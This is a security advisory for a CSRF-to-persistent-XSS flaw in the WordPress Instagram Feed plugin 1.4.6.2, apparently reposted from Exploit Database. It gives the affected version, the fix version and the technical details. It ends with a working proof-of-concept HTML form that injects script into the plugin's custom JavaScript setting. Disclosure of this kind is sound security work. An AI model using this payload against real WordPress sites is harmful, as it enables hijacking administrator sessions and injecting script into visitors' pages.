WordPress Plugin Instagram Feed 1.4.6.2 – Cross-Site Request Forgery

Exploit Database
119 阅读

作者： Sipke Mellema

日期： 2016-11-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40795/

<!--

Source: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html

Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF

Abstract

A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0014

Tested versions

This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2.

Fix

This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7.

Introduction

Instagram Feed is a WordPress plugin to display beautifully clean, customizable, and responsive feeds from multiple Instagram accounts. A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Details

The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack.

Proof of Concept

Have an authenticated admin visit a webpage with the following form:

-->

<html>

<body>

<form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST">

<input type="hidden" name="sb_instagram_custom_js" value="}
});</script><script>alert(1);</script>
" />

</form>

</body>

</html>